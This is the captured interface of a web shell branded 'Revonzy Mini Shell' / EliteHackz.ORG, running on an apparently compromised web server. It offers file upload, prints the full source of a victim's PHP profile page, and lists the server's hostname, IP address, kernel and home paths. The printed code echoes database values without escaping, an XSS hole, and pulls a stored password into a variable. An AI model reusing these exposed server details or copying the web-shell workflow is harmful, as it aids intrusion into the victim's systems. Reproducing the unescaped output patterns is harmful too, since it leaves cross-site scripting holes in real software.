Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/.trash/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/.trash/new-profile.php

<?php
require_once("admin/lib/functions.php");
$db = new login_function();
$success_msg =0;

$current_login_user_id = "";
if (isset($_SESSION['current_login_user']) && isset($_SESSION['current_login_user_id'])) 
{
    $current_login_user	        =	$_SESSION['current_login_user'];
    $current_login_user_id	    =	$_SESSION['current_login_user_id'];
}

if(!isset($_SESSION['current_login_user']) && isset($_SESSION['current_login_user_id']))
{	
    header("location:index.php");
}

// if(isset($_POST['company_name']))
// 	{
		
// 		$company_name	        = $_POST['company_name'];
// 	    $name1		            = $_POST['name1'];
// 	    $address  		        = $_POST['address'];
// 	    $contact_1	            = $_POST['contact_1'];
// 		 $contact_2		        = $_POST['contact_2'];
// 	     $contact_3			    = $_POST['contact_3'];
// 		 $contact_4				= $_POST['contact_4'];
// 		 $company_address		= $_POST['company_address'];
// 		 $GST_no		        = $_POST['GST_no'];
//         $phone_no1		        = $_POST['phone_no1'];
//         $contact_person1		= $_POST['contact_person1'];
//         $phone_no2		        = $_POST['phone_no2'];
//         $contact_person2		= $_POST['contact_person2'];
//         $phone_no3		        = $_POST['phone_no3'];
//         $contact_person3		= $_POST['contact_person3'];
//         $phone_no4		        = $_POST['phone_no4'];
//         $contact_person4		= $_POST['contact_person4'];
//         $other1		            = $_POST['other1'];
//         $password		        = $_POST['password'];
//         $google_feedback		= $_POST['google_feedback'];

//     }
    
$login_details = $db->get_all_user_info_for_profile($current_login_user_id);

if (!empty($login_details)) {
    // Unpack the data

    $id                     = $login_details[0];
    $company_name	         = $login_details[1];
    $name1		             = $login_details[2];
    $address  		        = $login_details[3];
    $contact_1	            = $login_details[4];
    $contact_2		        = $login_details[5];
    $contact_3			    = $login_details[6];
    $contact_4				 = $login_details[7];
    $photo                    = $login_details[8];
    $company_address		 = $login_details[9];
    $GST_no		            = $login_details[10];
    $phone_no1		        = $login_details[11];
    $contact_person1		 = $login_details[12];
    $phone_no2		        = $login_details[13];
    $contact_person2		 = $login_details[14];
    $phone_no3		        = $login_details[15];
    $contact_person3		 = $login_details[16];
    $phone_no4		         = $login_details[17];
    $contact_person4	    = $login_details[18];
    $other1		            = $login_details[19];
    $date	                = $login_details[20];
    $time		            = $login_details[21];
    $password		        = $login_details[22];
    $google_feedback		 = $login_details[23];
    
}     
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Profile Details</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	<link href="datatable/datatables.min.css" rel="stylesheet" />

	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/wow.min.js"></script>
	<script>
	function validateForm() {
	  var a = document.forms["myForm"]["customer_name"].value;
	  var c = document.forms["myForm"]["primary_contact"].value;
	 
	 if (a == "") {
		alert("Enter Customer Name");
		return false;
	  }
	 
	  if (c == "") {
		alert("Enter Mobile Number");
		return false;
	  }
	  
	}
	</script>
</head>
<body>
<div class="page-wrapper" style="min-height:500px;">
<?php include('header-user.php'); ?>
<?php include('side-bar-user.php'); ?>

<style type="text/css">
    /* styles.css */

.profile-container {
    max-width: 1200px;
    margin: 0 auto;
    padding: 20px;
    background: #fff;
    border-radius: 8px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}

.profile-header {
    display: flex;
    align-items: center;
    border-bottom: 2px solid #eee;
    padding-bottom: 20px;
    margin-bottom: 20px;
}

.profile-picture .images {
    border-radius: 50%;
    width: 150px;
    height: 150px;
    object-fit: cover;
    margin-right: 20px;
}

.profile-info h1 {
    margin: 0;
    font-size: 24px;
}

.profile-info p {
    margin: 5px 0;
}

.profile-info .age, .profile-info .height, .profile-info .religion, .profile-info .caste, .profile-info .education, .profile-info .profession {
    font-size: 18px;
    color: #555;
}

.profile-details {
    display: flex;
    justify-content: space-between;
}

.profile-details > div {
    flex: 1;
    margin-right: 20px;
}

.profile-details h2 {
    background-color: #f7f7f7;
    padding: 10px;
    border-radius: 5px;
    margin: 0 0 10px 0;
}

.profile-details p {
    margin: 5px 0;
}

.contact-details {
    margin-top: 20px;
}

.contact-details p {
    margin: 5px 0;
}

</style>
 <img src="assets/images/couple.avif" alt="" style="height:400px">
 <br><br>
     <div class="profile-container">
        <header class="profile-header">
            <div class="profile-picture">
                <img src="file_photo/<?php echo $photo; ?>" alt="Profile Picture" class="images">
            </div>
            <div class="profile-info">
                <h1><?php echo $company_name; ?></h1>
                <p class="age">Name: <?php echo $name1; ?></p>
                <!-- <p class="height">Height: <?php echo $address; ?></p> -->
                <p class="religion">Address: <?php echo $address; ?></p>
                <p class="caste">Contact: <?php echo $contact_1; ?></p>
                <p class="education">Company Address: <?php echo $company_address; ?></p>
                <!-- <p class="profession">Profession: <?php echo $business; ?></p> -->
            </div>
        </header>
        
        <section class="profile-details">
            <div class="personal-details">
                <h2>Personal Details</h2>
                <!-- <p><strong>Date of Birth:</strong> <?php echo htmlspecialchars(date("F j, Y", strtotime($GST_no))); ?></p> -->
                <p><strong>GST Number:</strong> <?php echo $GST_no; ?></p>
                <p><strong>Contact Person :</strong> <?php echo $contact_person1; ?></p>
                <!-- <p><strong>Languages:</strong> <?php echo $languages; ?></p> -->
            </div>
             <div class="contact-details">
                <h2>Contact Information</h2>
                <!-- <p><strong>Email:</strong> <?php echo $email; ?></p> -->
                <p><strong>Phone:</strong> <?php echo $contact_1; ?></p>
                <p><strong>Address:</strong> <?php echo $address; ?></p>
            </div>
            <div class="family-details">
                <h2>Family Details</h2>
                 <!-- <p><strong>Father's Occupation:</strong> <?php echo htmlspecialchars($father_occupation); ?></p>
                <p><strong>Mother's Occupation:</strong> <?php echo htmlspecialchars($mother_occupation); ?></p>
                <p><strong>Family Type:</strong> <?php echo htmlspecialchars($family_type); ?></p>
                <p><strong>Family Status:</strong> <?php echo htmlspecialchars($family_status); ?></p>
                <p><strong>Family Values:</strong> <?php echo htmlspecialchars($family_values); ?></p> -->
            </div>
            
           
        </section>
    </div>
</div>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4